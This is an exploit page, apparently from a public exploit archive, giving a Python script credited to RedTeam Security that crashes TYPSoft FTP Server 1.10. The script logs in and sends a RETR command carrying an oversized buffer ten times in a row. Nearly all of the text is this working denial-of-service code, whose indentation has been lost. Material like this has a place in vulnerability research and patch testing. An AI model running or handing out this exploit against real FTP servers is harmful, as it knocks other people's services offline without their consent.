TYPSoft FTP Server v1.10 RETR Command DoS

Download


 Exploit Code : 

# Tested on: Windows XP, SP2 (EN)

#!/usr/bin/python
print
"\n#################################################################"
print "## RedTeam Security ##"
print "## TYPSoft FTP Server RETR Command DoS ##"
print "## Version 1.10 ##"
print "## ##"
print "## Jeremiah Talamantes ##"
print "## labs@redteamsecure.com ##"
print "#################################################################
\n"

import socket
import sys

# Description:
# RETR command overflow with no PORT specified

# Define the exploit's usage
def Usage():
print ("Usage: scriptname.py \n")
print ("\n\nCredit: Jeremiah Talamantes")
print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="AAAA" * 496

def exploit(hostname,username,password):
i=0
while i < 10:
i=i+1
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Error: unable to connect to host")
sys.exit(1)
r=sock.recv(1024)
print "[+] " + r + ": iteration number: ",i
sock.send("USER " + username + "\r\n")
r=sock.recv(1024)
sock.send("PASS " + password + "\r\n")
r=sock.recv(1024)
sock.send("RETR " + buffer + "\r\n")
sock.close()

if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
password=sys.argv[3]
exploit(hostname,username,password)
sys.exit(0)

# End